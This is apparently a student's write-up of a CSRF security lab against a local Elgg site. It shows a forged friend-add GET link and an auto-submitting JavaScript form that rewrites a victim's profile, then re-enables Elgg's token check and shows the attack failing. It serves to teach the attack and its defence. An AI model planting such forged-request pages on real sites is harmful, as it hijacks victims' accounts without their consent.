
Task 1: Observing HTTP Request.




• To get the get request I added Boby as a friend, and in order to get the post request I sent a message to Boby.

#### Task 2: CSRF Attack using GET Request



• This is the get request for adding a friend, as I added Alice as a Friend (As Boby)



• I sent an email to Alice stating that I want to be her friend and got my friend ID

I modified test.html to make anyone who clicks on the link Boby's friend

#### To:



Write recipient's username here.

### Subject:

Just for you

#### Message:



Here is a website I made just for you: http://www.csrflabattacker.com/test.html

I send Alice the link to make her add Boby as a friend



• I become Alice and click the link



Alice is now a friend with Boby

#### Task 3: CSRF Attack using POST Request

Question 1: The forged HTTP request needs Alice's user id (guid) to work properly. If Boby targets Alice specifically, before the attack, he can find ways to get Alice's user id. Boby does not know Alice's Elgg password, so he cannot log into Alice's account to get the information. Please describe how Boby can solve this problem.

Request URL: http://www.csrflabelgg.com/action/friends/add?friend=42&\_\_e
Request method: GET
Remote address: 127.0.0.1:80

• Boby can use a get request when adding a friend to see Alice's user id

```
description: | description:
```

• I changed my own profile to see the parameters of the POST request

```
<html>
<body>
<script type="text/javascript">
function send_message() {
         var inputs;
         inputs = "<input type = 'hidden' name = 'description' value = '<p>Boby is my Hero'>";
         inputs += "<input type = 'hidden' name = 'guid' value = '42'>";
inputs += "<input type = 'hidden' name = 'name' value = 'Alice'>";
         var f = document.createElement("form");
         f.action = "http://www.csrflabelgg.com/action/profile/edit";
         f.innerHTML = inputs;
         f.method = "POST";
         document.body.appendChild(f);
         f.submit();
}
window.onload = function() {send message();}
</script>
</body>
</html>
```

I then modified the file from class to work with a profile



• I then sent the link to Alice and logged in as Alice and had her click the link



# Alice About me Boby is my Hero

Alice's profile was changed

Question 2: If Boby would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim's Elgg profile? Please explain.

• He can't because he needs a guid and name in order to modify it

#### Task 4: Implementing a countermeasure for Elgg

```
public function gatekeeper($action) {
    //return true;

if ($action === 'login') {
    if ($this->validateActionToken(false)) {
        return true;
    }

    $token = get_input('__elgg_token');
    $ts = (int)get_input('__elgg_ts');
    if ($token && $this->validateTokenTimestamp($ts)) {
        // The tokens are present and the time looks valid: this is probably a mismatch due to the
        // login form being on a different domain.
        register_error(_elgg_services()->translator->translate('actiongatekeeper:crosssitelogin'));
        forward('login', 'csrf');
    }

    // let the validator send an appropriate msg
    $this->validateActionToken();
} else if ($this->validateActionToken()) {
        return true;
}

forward(REFERER, 'csrf');
}
```

• <u>I turned on the gatekeeper function by commenting out the return</u>



## Alice About me Boby is my Hero

▼ Friends

No friends yet.

• I removed Boby as a friend



Boby

Just for you

Here is a website I made just for you: http://www.csrflabattacker.com/test.html

• I click on his link again



Alice

Blogs

Form is missing \_\_token or \_\_ts fields

Bookmarks

Files

Pages

Wire posts

• It fails to add him as a friend and reports that error